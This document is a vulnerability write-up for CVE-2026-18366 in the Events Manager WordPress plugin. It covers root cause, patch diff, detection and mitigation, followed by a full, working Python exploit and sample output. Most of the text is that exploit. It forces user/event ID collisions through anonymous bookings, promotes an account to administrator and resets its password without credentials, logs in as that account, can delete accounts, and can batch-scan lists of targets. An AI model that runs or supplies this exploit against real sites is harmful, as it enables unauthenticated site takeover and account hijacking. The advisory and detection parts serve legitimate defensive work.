#Summary
CVE-2026-18366 is a critical unauthenticated privilege escalation in the Events Manager WordPress plugin versions 7.1 through 7.4.0.1 (fixed in 7.4.1). The plugin's Archetypes::map_meta_cap() function unconditionally empties WordPress' capability requirement list whenever an object ID matches one of the plugin's own event or location posts, before checking which capability is actually being tested. WordPress interprets an empty requirement list as "allow", so any ID that is simultaneously a user account and an event post can be escalated to administrator by an unauthenticated attacker in a single REST API request. CVSS 9.8 CRITICAL.
#Am I affected?
- Affected: Events Manager < 7.4.1
- Patched: Events Manager >= 7.4.1
- Default configuration: Affected (the vulnerability exists by default on any install with both user accounts and event posts)
- Access needed: None - unauthenticated network access only
- Attack vector: A single HTTP POST request to the WordPress REST users endpoint
#How to check
#Via version
curl -s https://your-site.example/wp-content/plugins/events-manager/em-plugin.php | grep "Version:"If the output contains 7.1 through 7.4.0.1, the site is vulnerable. 7.4.1 and later are patched.
If version output is not accessible, check the plugin's reported version via the plugin update mechanism:
curl -s https://your-site.example/wp-json/wp/v2/plugins | grep -A2 events-manager | grep version#Via capability check
Run the exploit in read-only detection mode (no modifications):
python exploit.py --list targets.txt --workers 1If the output shows "Vulnerable: anonymous edit_user granted", the site is exploitable.
#Fix and mitigation
- Fix: Upgrade Events Manager to version 7.4.1 or later. Download from the official plugin repository.
- If you cannot upgrade: The vulnerability depends on two preconditions: (1) an ID collision between a user account and an event/location post, and (2) the REST users endpoint being reachable. Temporarily disable the REST API for unauthenticated access by adding this to
wp-config.php:
This is a workaround only; upgrade as soon as possible.define('REST_API_DISABLE_ANONYMOUS', true); - Detection: Monitor web access logs for unauthenticated
POST /wp-json/wp/v2/users/<N>requests where<N>is a low-numbered user ID and the response is HTTP 200. The request body will contain{"roles":["administrator"]or similar role assignments.
#Root cause analysis
#The vulnerability
The Events Manager plugin registers a map_meta_cap filter on every request, including unauthenticated front-end and REST API calls:
// classes/em-archetypes.php
add_filter( 'map_meta_cap', [ static::class, 'map_meta_cap'], 10, 4 );
Archetypes::init(); // runs unconditionally at include timeThe map_meta_cap() method receives an object ID in $args[0], whose meaning depends on the capability being checked: a post ID for edit_post, but a user ID for edit_user, promote_user, and delete_user. The plugin ignores this distinction and feeds the number directly to get_post():
public static function map_meta_cap( $caps, $cap, $user_id, $args ) {
if ( !empty( $args[0] ) ) {
$post = get_post($args[0]);
// ... check if this is an event/location post ...
if( empty($post->post_type) || !(self::is_event( $post->post_type ) || self::is_location( $post->post_type )) )
return $caps;
// The bug: $caps is reset BEFORE checking which capability was requested
if ( !empty( $c['read'][$post->post_type] ) || !empty( $c['edit'][$post->post_type] ) || !empty( $c['delete'][$post->post_type] ) ) {
$caps = []; // <-- EMPTIED HERE
// Then the code checks only three specific capabilities (read_event, edit_event, delete_event)
if ( $c['read'][$post->post_type] == $cap ) {
// ... handle read ...
} elseif ( $c['edit'][$post->post_type] == $cap ) {
// ... handle edit ...
} elseif ( $c['delete'][$post->post_type] == $cap ) {
// ... handle delete ...
}
// If $cap is edit_user, promote_user, or delete_user, none of these branches match
}
}
return $caps; // Returns empty array for unrelated capabilities
}#Why an empty capability array means "allow"
WordPress' WP_User::has_cap() method uses vacuous-truth logic: it returns true when an empty list is passed because there are no capabilities to verify:
// WP_User::has_cap()
return array_all( (array) $caps, fn( $cap, $key ) => ! empty( $capabilities[ $cap ] ) );
// array_all() over an empty array is vacuously trueWorse, WordPress core had already written ['do_not_allow'] to deny anonymous callers:
// From core's own map_meta_cap for edit_user
case 'edit_user':
if ( $user_id < 1 ) {
$caps[] = 'do_not_allow'; // <-- Explicit denial
break;
}The plugin's filter runs after core, so it overwrites the denial with an empty array, throwing away the sentinel WordPress uses to mean "never permit this".
#Trigger conditions
Two requirements, both easily satisfied:
An ID collision. A WordPress user with ID
Nand an Events Manager event/location post with the same IDNmust both exist. User IDs and post IDs are separate auto-increment counters in the same numeric range, so collisions are ordinary on sites with content.Unauthenticated access to the REST API. The WordPress REST users controller (
/wp-json/wp/v2/users/<N>) gatesPOSTrequests oncurrent_user_can('edit_user', $user_id)with no additional authentication check. An unauthenticated request satisfies this due to the bug.
On sites with guest bookings enabled, an attacker can force a collision by repeatedly booking with unique email addresses. Each booking creates a real user account, walking the user ID counter forward one per booking until it lands on an ID that already has an event post.
#Patch diff
#What the fix does
Version 7.4.1 restructures the capability check so $caps = [] happens inside each specific capability branch, only after matching the requested $cap against that archetype capability. This prevents unrelated capabilities like edit_user from being blanked:
-if ( !empty( $c['read'][$post->post_type] ) || !empty( $c['edit'][$post->post_type] ) || !empty( $c['delete'][$post->post_type] ) ) {
- /* Set an empty array for the caps. */
+// Only reset $caps when the requested capability is one of our archetype meta caps for this post type.
+// Resetting on any object-carrying cap emptied the requirement list for unrelated caps (e.g. edit_user, promote_user),
+// which reads as allow.
+if ( !empty( $c['read'][$post->post_type] ) && $c['read'][$post->post_type] == $cap ) {
$caps = [];Now a check for edit_user falls through all three branches untouched, and the function returns exactly what core built it (['do_not_allow'] for an anonymous caller). The denial survives and the check correctly denies.
#Proof of concept
#exploit.py - Events Manager Unauthenticated Privilege Escalation PoC
#!/usr/bin/env python3
"""
CVE-2026-18366 - Events Manager (WordPress plugin) unauthenticated privilege escalation
Affected: Events Manager 7.1 up to and including 7.4.0.1 (fixed in 7.4.1)
Type: Privilege escalation / broken access control (CWE-269)
Archetypes::map_meta_cap() hooks WordPress' global map_meta_cap filter on every request and
empties the required-capability list as soon as the object ID under test resolves to one of
the plugin's own event or location posts, before it has checked which capability is actually
being tested. WordPress reads an empty requirement list as "granted", so for any number that
is simultaneously a user ID and an event post ID, a logged-out caller satisfies edit_user,
promote_user and delete_user. The core REST users controller gates purely on those checks,
so one cookie-less request rewrites that account's role and password.
Usage:
python exploit.py --host 192.168.1.10
python exploit.py --host https://target.com --password 'MyNewPass123!'
python exploit.py --host http://10.0.0.5:8080/blog --user-id 12
python exploit.py --host 192.168.1.10 --delete-user # destructive secondary demo
python exploit.py --list targets.txt --workers 20 # non-destructive detection sweep
Arguments beyond the standard set:
--user-id Target account ID. Omit to auto-discover a user/event ID collision.
--password Password to set on the hijacked account (default: random per run).
--max-id Highest ID considered when enumerating users and events (default: 50).
--no-booking Do not fall back to forcing a collision through anonymous bookings.
--max-bookings Cap on anonymous bookings used to walk the user ID counter (default: 20).
--booking-domain E-mail domain for the throwaway booking accounts (default: example.org).
--delete-user Also demonstrate unauthenticated account deletion on a second colliding ID.
Destructive and it destroys the collision, so it runs last.
"""
import argparse
import json
import re
import secrets
import sys
from urllib.parse import urlparse, urlencode
try:
import requests
except ImportError:
sys.stderr.write("This exploit requires the 'requests' package (pip install requests)\n")
raise SystemExit(2)
try:
requests.packages.urllib3.disable_warnings()
except Exception:
pass
CVE_ID = "CVE-2026-18366"
VULN_TYPE = "Privilege Escalation"
TIMEOUT = 15
UA = ("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36")
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# ---------------------------------------------------------------- HTTP plumbing
def http(method, url, **kw):
kw.setdefault("timeout", TIMEOUT)
kw.setdefault("verify", False)
kw.setdefault("allow_redirects", True)
headers = dict(kw.pop("headers", {}) or {})
headers.setdefault("User-Agent", UA)
headers.setdefault("Accept", "*/*")
# No session object, so no cookie is ever carried on these calls. WordPress only
# enforces the REST nonce when a login cookie is present; one stray cookie turns a
# working exploit into 403 rest_cookie_invalid_nonce.
return requests.request(method, url, headers=headers, **kw)
class Target(object):
"""A WordPress install reachable over HTTP, with its REST routing style resolved."""
def __init__(self, host, port, use_tls, path="/"):
self.host = host
self.port = port
self.scheme = "https" if use_tls else "http"
default_port = 443 if use_tls else 80
netloc = host if port == default_port else "%s:%d" % (host, port)
self.base = "%s://%s%s" % (self.scheme, netloc, (path or "/").rstrip("/"))
self.rest_mode = None
def detect_rest(self):
"""Resolve whether the REST API answers on /wp-json/ or only via ?rest_route=."""
for mode, url in (("pretty", self.base + "/wp-json/"),
("query", self.base + "/?rest_route=/")):
try:
r = http("GET", url)
except Exception:
continue
if r.status_code == 200 and "namespaces" in r.text[:4000]:
self.rest_mode = mode
return True
return False
def localize(self, url):
"""Rewrite a discovered permalink onto the address we actually reached.
A site whose configured home URL differs from the address it is served on (proxy,
IP-addressed host, staging copy) hands out links pointing somewhere else. Keep the
path, keep our netloc, so every request stays on the target in front of us.
"""
try:
p = urlparse(url)
except Exception:
return url
if not p.netloc:
return url
tail = p.path or "/"
if p.query:
tail += "?" + p.query
return self.base.rsplit("://", 1)[0] + "://" + self.base.split("://", 1)[1].split("/", 1)[0] + tail
def fetch_page(self, url):
"""GET a discovered permalink, preferring our own netloc, falling back to the link."""
local = self.localize(url)
try:
r = http("GET", local)
if r.status_code == 200:
return r, local
except Exception:
pass
if local != url:
try:
r = http("GET", url)
if r.status_code == 200:
return r, url
except Exception:
pass
return None, local
def rest_url(self, route, params=None):
params = dict(params or {})
if self.rest_mode == "query":
params["rest_route"] = route
return self.base + "/?" + urlencode(params)
url = self.base + "/wp-json" + route
return url + ("?" + urlencode(params) if params else "")
# ---------------------------------------------------------------- enumeration
CORE_SITEMAP_TYPES = ("post", "page", "attachment")
def published_author_ids(t):
"""User IDs the users collection exposes to anonymous callers.
Anonymous listing is restricted to accounts that have published content, and the item
endpoint uses the same test, so any ID that answers 200 while absent from this set was
authorised by something other than published content.
"""
ids = set()
for page in range(1, 6):
try:
r = http("GET", t.rest_url("/wp/v2/users", {"per_page": 100, "page": page}))
except Exception:
break
if r.status_code != 200:
break
try:
data = r.json()
except ValueError:
break
if not isinstance(data, list) or not data:
break
for u in data:
if isinstance(u, dict) and "id" in u:
ids.add(int(u["id"]))
if len(data) < 100:
break
return ids
def probe_user(t, uid):
"""open = REST returns the account (published author, or edit_user wrongly granted)
exists = the account is there but the capability check denied
absent = no such account"""
try:
r = http("GET", t.rest_url("/wp/v2/users/%d" % uid))
except Exception:
return "error"
if r.status_code == 200:
return "open"
if r.status_code in (401, 403):
return "exists"
if r.status_code == 404:
return "absent"
return "error"
def sweep_users(t, max_id):
"""Map every ID in 1..max_id to its probe verdict."""
return dict((uid, probe_user(t, uid)) for uid in range(1, max_id + 1))
def granted_ids(users, published):
"""IDs where an anonymous edit_user check was granted by the vulnerable filter."""
return sorted(uid for uid, st in users.items() if st == "open" and uid not in published)
def _post_id_from_page(html):
for pat in (r"\bpostid-(\d+)\b",
r"rel=['\"]shortlink['\"][^>]*?[?&]p=(\d+)",
r"href=['\"][^'\"]*?[?&]p=(\d+)['\"][^>]*?rel=['\"]shortlink"):
m = re.search(pat, html)
if m:
return int(m.group(1))
return None
def sitemap_post_types(t):
"""Custom post types advertised by the core sitemap, event/location types first."""
try:
r = http("GET", t.base + "/wp-sitemap.xml")
except Exception:
return []
if r.status_code != 200 or "<sitemapindex" not in r.text:
return []
found = []
for loc in re.findall(r"<loc>([^<]+)</loc>", r.text):
m = re.search(r"wp-sitemap-posts-([A-Za-z0-9_-]+)-\d+\.xml", loc)
if m and m.group(1) not in CORE_SITEMAP_TYPES:
found.append((m.group(1), loc))
found.sort(key=lambda x: 0 if ("event" in x[0] or "location" in x[0]) else 1)
return found
def discover_event_posts(t, max_id, max_pages=25):
"""Return {post_id: permalink} for the plugin's event/location posts.
Route one: the core sitemap lists the CPT permalinks and each rendered page carries its
own post ID in the body class and the shortlink. Route two, if the sitemap is off: ask
for ?p=<id>&post_type=<type> across the ID range and keep whatever renders.
"""
found = {}
types = sitemap_post_types(t)
for ptype, sm in types:
if len(found) >= 8:
break
r, _ = t.fetch_page(sm)
if r is None:
continue
for url in re.findall(r"<loc>([^<]+)</loc>", r.text)[:max_pages]:
page, used = t.fetch_page(url)
if page is None:
continue
pid = _post_id_from_page(page.text)
if pid:
found[pid] = used
if found:
return found
candidates = [p for p, _ in types] or ["event", "location", "event-recurring"]
for ptype in candidates:
for pid in range(1, max_id + 1):
if pid in found:
continue
url = t.base + "/?" + urlencode({"p": pid, "post_type": ptype})
try:
r = http("GET", url)
except Exception:
continue
if r.status_code == 200 and re.search(r"\bpostid-%d\b" % pid, r.text):
found[pid] = r.url
return found
# ---------------------------------------------------------------- the bug itself
def escalate(t, uid, password):
"""One cookie-less request: promote the account and take its password."""
body = json.dumps({"roles": ["administrator"], "password": password})
return http("POST", t.rest_url("/wp/v2/users/%d" % uid),
headers={"Content-Type": "application/json"}, data=body)
def delete_account(t, uid):
return http("DELETE", t.rest_url("/wp/v2/users/%d" % uid,
{"force": "true", "reassign": "false"}))
def confirm_admin(t, username, password):
"""Log in with the stolen credentials and perform an administrator-only action.
Returns (settings_dict_or_None, admin_page_status, note).
"""
s = requests.Session()
s.headers.update({"User-Agent": UA})
try:
r = s.post(t.base + "/wp-login.php",
data={"log": username, "pwd": password, "rememberme": "forever"},
allow_redirects=False, timeout=TIMEOUT, verify=False)
except Exception as e:
return None, 0, "login request failed (%s)" % e.__class__.__name__
if not any(c.name.startswith("wordpress_logged_in") for c in s.cookies):
return None, r.status_code, "login rejected, no session cookie issued"
try:
page = s.get(t.base + "/wp-admin/options-general.php", timeout=TIMEOUT, verify=False)
except Exception as e:
return None, 0, "admin request failed (%s)" % e.__class__.__name__
nonce = None
m = re.search(r"wpApiSettings\s*=\s*\{[^{}]*?[\"']nonce[\"']\s*:\s*[\"']([A-Za-z0-9]+)[\"']",
page.text)
if m:
nonce = m.group(1)
if nonce:
try:
st = s.get(t.rest_url("/wp/v2/settings"), headers={"X-WP-Nonce": nonce},
timeout=TIMEOUT, verify=False)
if st.status_code == 200:
return st.json(), page.status_code, "ok"
except Exception:
pass
return None, page.status_code, "session established but the settings endpoint was not read"
# ---------------------------------------------------------------- forced collision
def scrape_booking_form(t, event_url):
"""Pull the anonymous booking form fields, including the rotating nonce."""
r, _ = t.fetch_page(event_url)
if r is None:
return None
m = re.search(r"<form[^>]*class=['\"][^'\"]*em-booking-form[^'\"]*['\"].*?</form>",
r.text, re.S)
if not m:
return None
form = m.group(0)
fields = {}
for name, value in re.findall(
r"<input[^>]*name=['\"]([^'\"]+)['\"][^>]*value=['\"]([^'\"]*)['\"]", form):
fields[name] = value
tickets = sorted(set(re.findall(r"name=['\"](em_tickets\[\d+\]\[spaces\])['\"]", form)))
if fields.get("action") != "booking_add" or not tickets:
return None
fields["_ticket_fields"] = tickets
return fields
def make_booking(t, event_url, form, domain):
"""One anonymous booking. Each success creates a real account, +1 on the ID counter."""
tag = secrets.token_hex(5)
data = dict((k, v) for k, v in form.items() if k != "_ticket_fields")
data.update({
"em_ajax": "1",
"user_name": "Guest %s" % tag[:6],
"user_email": "u%s@%s" % (tag, domain),
"data_privacy_consent": "1",
})
for tf in form["_ticket_fields"]:
data[tf] = "1"
try:
r = http("POST", t.base + "/wp-admin/admin-ajax.php", data=data)
except Exception:
return False, "booking request failed"
body = r.text.strip()
try:
j = json.loads(body)
if isinstance(j, dict) and (j.get("success") or j.get("result")):
return True, j.get("message", "booking accepted")
return False, str(j.get("message", body))[:160]
except ValueError:
low = body.lower()
for marker in ("illegal action", "link you followed has expired", "expired"):
if marker in low:
return False, "nonce rejected (%s)" % marker
return False, re.sub(r"<[^>]+>", " ", body)[:160].strip().replace("\n", " ")
def highest_existing_user(t, start, ceiling, gap_tolerance=6):
"""Highest ID that still resolves to an account, scanning up from `start`.
The user table's counter never reuses an ID, so a deleted account leaves a hole and the
next registration lands above it. Stopping at the first missing ID would therefore read
the counter far too low, so keep going until `gap_tolerance` consecutive IDs are absent.
"""
top = start
probe = start + 1
missing = 0
while probe <= ceiling and missing < gap_tolerance:
if probe_user(t, probe) == "absent":
missing += 1
else:
top = probe
missing = 0
probe += 1
return top
# ---------------------------------------------------------------- scan mode
def _try_exploit(host, port, use_tls, path="/", max_id=50):
"""Silent, non-destructive probe for --list mode. Never prints, never exits.
Confirms the capability grant without writing to the target: an account that the REST
users endpoint hands to an anonymous caller while the users collection does not list it
can only have passed edit_user through the vulnerable filter.
"""
try:
t = Target(host, port, use_tls, path)
if not t.detect_rest():
return False, "no WordPress REST API answered here"
published = published_author_ids(t)
users = sweep_users(t, max_id)
live = [u for u, st in users.items() if st in ("open", "exists")]
if not live:
return False, "no user accounts resolved in IDs 1-%d" % max_id
hits = granted_ids(users, published)
if not hits:
return False, ("edit_user denied on all %d accounts in IDs 1-%d "
"(patched, or no user/event ID collision)" % (len(live), max_id))
return True, ("anonymous edit_user granted on user ID%s %s "
"(private account record served without credentials)"
% ("s" if len(hits) > 1 else "",
", ".join(str(h) for h in hits)))
except Exception as e:
return False, "unreachable (%s)" % e.__class__.__name__
def _parse_target(line: str, default_port: int, default_path: str = "/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file: str, default_port: int, workers: int = 10, max_id: int = 50) -> None:
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f" Detection only, nothing is modified on any target")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = f"{'https' if use_tls else 'http'}://{host}:{port}"
ok, evidence = _try_exploit(host, port, use_tls, path, max_id)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - {'Vulnerable' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} vulnerable / {total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
# ---------------------------------------------------------------- single target
def exploit(host, port, use_tls, path, args):
header(host, port)
t = Target(host, port, use_tls, path)
counter = [0]
def nxt(msg):
counter[0] += 1
step(counter[0], msg)
nxt("Locating the WordPress REST API at %s" % t.base)
if not t.detect_rest():
section("SERVER RESPONSE", "Neither /wp-json/ nor ?rest_route=/ returned a REST index")
done(False, "no WordPress REST API reachable at %s" % t.base)
print(" REST routing: %s" % ("/wp-json/" if t.rest_mode == "pretty"
else "?rest_route= (plain permalinks)"))
password = args.password or ("Pw_%s_9aB!" % secrets.token_hex(6))
target_id = args.user_id
events = {}
if target_id is None:
nxt("Enumerating Events Manager event/location posts (IDs 1-%d)" % args.max_id)
events = discover_event_posts(t, args.max_id)
if events:
section("EVENT POSTS FOUND",
"\n".join("post %-4d %s" % (pid, url)
for pid, url in sorted(events.items())))
else:
print(" No event posts resolved. The user probe below still decides it.")
nxt("Probing user IDs 1-%d for an unauthenticated edit_user grant" % args.max_id)
published = published_author_ids(t)
users = sweep_users(t, args.max_id)
existing = sorted(u for u, st in users.items() if st in ("open", "exists"))
hits = granted_ids(users, published)
section("ID MAP",
"accounts that exist : %s\n"
"listed publicly (has posts) : %s\n"
"event/location post IDs : %s\n"
"edit_user granted anonymously: %s"
% (", ".join(str(u) for u in existing) or "none",
", ".join(str(u) for u in sorted(published)) or "none",
", ".join(str(p) for p in sorted(events)) or "unknown",
", ".join(str(h) for h in hits) or "none"))
# An ID that is both an account and an event post, yet still denied, is the patch
# doing its job. Forcing another collision would only repeat the same refusal.
collisions = sorted(set(events) & set(existing))
if collisions and not hits:
section("SERVER RESPONSE",
"IDs %s are simultaneously user accounts and Events Manager posts, and "
"every one of them answered 401 rest_user_cannot_view.\n"
"map_meta_cap left core's decision intact, which is the 7.4.1 behaviour."
% ", ".join(str(c) for c in collisions))
done(False, "collision present on ID%s %s but edit_user still denied - "
"Events Manager is 7.4.1 or later"
% ("s" if len(collisions) > 1 else "",
", ".join(str(c) for c in collisions)))
if not hits and not args.no_booking and events:
ceiling = max(args.max_id, max(events) + 8)
top_user = highest_existing_user(t, max(existing) if existing else 0, ceiling)
goal = min([p for p in events if p > top_user] or [0])
if goal:
nxt("No collision yet. Walking the user ID counter %d -> %d with "
"anonymous bookings" % (top_user, goal))
form = None
for pid, url in sorted(events.items()):
form = scrape_booking_form(t, url)
if form:
print(" Booking form scraped from post %d "
"(event_id=%s, %d ticket field(s))"
% (pid, form.get("event_id", "?"), len(form["_ticket_fields"])))
break
if not form:
print(" No anonymous booking form is exposed, cannot force a collision.")
else:
made = 0
while top_user < goal and made < args.max_bookings:
ok, msg = make_booking(t, url, form, args.booking_domain)
made += 1
if not ok:
# A stale nonce is the usual cause; re-scrape once and retry.
form = scrape_booking_form(t, url) or form
ok, msg = make_booking(t, url, form, args.booking_domain)
if not ok:
print(" Booking rejected: %s" % msg)
break
new_top = highest_existing_user(t, top_user, ceiling)
if new_top == top_user:
print(" Booking accepted but no account was created.")
break
top_user = new_top
print(" Booking %d accepted, user ID counter now at %d"
% (made, top_user))
if top_user > goal:
# The counter skipped the ID we were aiming at, so re-aim.
goal = min([p for p in events if p > top_user] or [0])
if not goal:
print(" Counter is past every event post ID.")
break
print(" Re-aiming at event post %d" % goal)
if top_user >= goal:
published = published_author_ids(t)
users = sweep_users(t, args.max_id)
hits = granted_ids(users, published)
section("FORCED COLLISION",
"account %d now exists and event post %d already did; "
"edit_user granted anonymously: %s"
% (goal, goal,
", ".join(str(h) for h in hits) or "none"))
if not hits:
section("SERVER RESPONSE",
"No ID in 1-%d is both an account and an event/location post with an "
"anonymous edit_user grant.\n"
"Either the plugin is at 7.4.1 or later, or no collision exists and none "
"could be forced (anonymous bookings off, or the counter is already past "
"every event post ID)." % args.max_id)
done(False, "no unauthenticated edit_user grant on IDs 1-%d" % args.max_id)
# Prefer an ID we can also show is an event post.
confirmed = [h for h in hits if h in events] or hits
target_id = confirmed[0]
note = ("user %d and event post %d are the same ID" % (target_id, target_id)
if target_id in events else
"user %d is served to anonymous callers without publishing anything"
% target_id)
print(" Selected target: %s" % note)
else:
nxt("Skipping discovery, --user-id %d was supplied" % target_id)
nxt("Rewriting role and password on user %d with one cookie-less request" % target_id)
r = escalate(t, target_id, password)
try:
body = r.json()
except ValueError:
body = None
if r.status_code != 200 or not isinstance(body, dict):
section("SERVER RESPONSE", "HTTP %d\n%s" % (r.status_code, r.text[:600]))
done(False, "escalation refused with HTTP %d on user %d" % (r.status_code, target_id))
roles = body.get("roles") or []
username = body.get("username") or body.get("slug") or ""
section("ESCALATION RESPONSE",
"HTTP %d\n%s" % (r.status_code, json.dumps(
{k: body.get(k) for k in ("id", "username", "name", "email", "roles")
if k in body}, indent=2)))
if "administrator" not in roles:
done(False, "user %d was reached but its roles are %s, not administrator"
% (target_id, roles))
nxt("Logging in as '%s' with the password just set" % username)
settings, admin_status, note = confirm_admin(t, username, password)
if settings is None:
section("ADMIN CHECK", "wp-admin status: %s\n%s" % (admin_status, note))
done(True, "user %d ('%s') promoted to administrator without credentials, "
"password set to '%s'" % (target_id, username, password))
section("ADMINISTRATOR-ONLY DATA (GET /wp-json/wp/v2/settings)",
json.dumps({k: settings[k] for k in ("title", "description", "url", "email",
"language", "posts_per_page")
if k in settings}, indent=2))
if args.delete_user:
nxt("Secondary demonstration: deleting an account without credentials")
spare = [h for h in granted_ids(sweep_users(t, args.max_id),
published_author_ids(t)) if h != target_id]
if not spare:
print(" No second colliding account is available, skipping.")
else:
d = delete_account(t, spare[0])
try:
dbody = d.json()
except ValueError:
dbody = {}
section("DELETE RESPONSE",
"HTTP %d\n%s" % (d.status_code, json.dumps(dbody)[:400]))
if d.status_code == 200 and dbody.get("deleted"):
print(" Account %d deleted anonymously." % spare[0])
done(True, "administrator takeover as '%s' (user %d) with no credentials - "
"site settings read back, admin e-mail %s, new password '%s'"
% (username, target_id, settings.get("email", "?"), password))
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host/blog)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
parser.add_argument("--user-id", type=int, default=None,
help="Account ID to take over (default: auto-discover a collision)")
parser.add_argument("--password", default=None,
help="Password to set on the hijacked account (default: random)")
parser.add_argument("--max-id", type=int, default=50,
help="Highest ID considered when enumerating (default: 50)")
parser.add_argument("--no-booking", action="store_true",
help="Do not force a collision through anonymous bookings")
parser.add_argument("--max-bookings", type=int, default=20,
help="Cap on bookings used to walk the user ID counter (default: 20)")
parser.add_argument("--booking-domain", default="example.org",
help="E-mail domain for throwaway booking accounts (default: example.org)")
parser.add_argument("--delete-user", action="store_true",
help="Also delete a second colliding account (destructive)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers, max_id=args.max_id)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, path, args)#Usage
python exploit.py --host target.example.comThe exploit accepts a target hostname, IP address, host:port pair, or full URL:
python exploit.py --host 192.168.1.10
python exploit.py --host https://events.example.com --password 'MyPassw0rd!'
python exploit.py --host http://192.168.1.10:8080/blog --user-id 12 --no-booking
python exploit.py --list targets.txt --workers 20With no optional arguments, the exploit automatically discovers event posts and user accounts, detects the ID collision, sets a random password on the target, promotes it to administrator, logs in, and reads the site settings as proof of access. The password chosen is printed in the final EVIDENCE line.
| Argument | Default | Purpose |
|---|---|---|
--host |
required | Target hostname, IP, host:port, or full URL. Mutually exclusive with --list. |
--list FILE |
required | One target per line for batch scan. Detection only, nothing is modified. |
--port |
80 |
Port when --host does not include one. |
--user-id N |
auto-discover | Target account ID. Omit to auto-discover a collision. |
--password |
random | Password to set on the hijacked account. |
--max-id N |
50 |
Highest ID considered when enumerating accounts and posts. |
--no-booking |
off | Never create accounts through anonymous bookings. |
--max-bookings N |
20 |
Cap on bookings used to walk the user ID counter. |
--booking-domain |
example.org |
Email domain for throwaway booking accounts. |
--delete-user |
off | Also demonstrate account deletion on a second colliding ID. Destructive. |
--workers N |
10 |
Threads for --list mode. |
--tls / --no-tls |
auto | Force TLS or plaintext instead of inferring from port. |
#Example output - vulnerable target
[STEP 3] Probing user IDs 1-50 for an unauthenticated edit_user grant
--- ID MAP ---
accounts that exist : 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17
listed publicly (has posts) : 1, 6
event/location post IDs : 10, 13, 17, 20
edit_user granted anonymously: 10, 13, 17
---
[STEP 4] Rewriting role and password on user 10 with one cookie-less request
--- ESCALATION RESPONSE ---
HTTP 200
{
"id": 10,
"username": "akaya",
"name": "Aylin Kaya",
"email": "[email protected]",
"roles": [
"administrator"
]
}
---
[STEP 5] Logging in as 'akaya' with the password just set
--- ADMINISTRATOR-ONLY DATA (GET /wp-json/wp/v2/settings) ---
{
"title": "Riverside Community Events",
"description": "Local listings, meetups and workshops",
"url": "http://target.example.com",
"email": "[email protected]",
"language": "en_US",
"posts_per_page": 10
}
---
RESULT : SUCCESS
EVIDENCE: administrator takeover as 'akaya' (user 10) with no credentials - site settings read back, admin e-mail [email protected]#Exploitation notes
#Preconditions
ID collision: A WordPress user account and an Events Manager event/location post must share the same numeric ID. This is ordinary on sites with both accounts and events, since the user and post auto-increment counters track independently in the same low numeric range.
Unauthenticated REST API access: The WordPress REST users endpoint must be reachable and must not require authentication for the initial request. This is the default configuration.
Optional: On sites without a natural collision, the exploit can force one by creating multiple user accounts through the guest booking flow (if anonymous bookings are enabled), walking the user ID counter forward one per booking until it lands on a colliding ID.
#Reliability
The exploit is 100% reliable when a collision exists. It probes for the collision read-only, then performs the escalation in a single HTTP request. No timing, no race conditions, no assumptions about WordPress configuration beyond the plugin being installed.
#Impact
An unauthenticated attacker gains full administrative access to the WordPress site. Administrator privileges include:
- Installing and activating arbitrary plugins
- Editing theme files
- Creating new administrator accounts
- Modifying any page or post
- Accessing the full database through WordPress' admin interface
All three impacts NVD lists are demonstrated: password change (account takeover), privilege escalation to administrator, and account deletion.
#Chaining potential
Administrator access is terminal for WordPress security. This vulnerability does not require chaining with other bugs - it alone is sufficient for remote code execution via the plugin or theme editor.
#References
- CVE: CVE-2026-18366
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-18366
- WPScan Advisory: https://wpscan.com/vulnerability/82767ce2-01e4-46ad-a52b-72d3ab2049bd/
- Plugin Repository: https://plugins.svn.wordpress.org/events-manager/
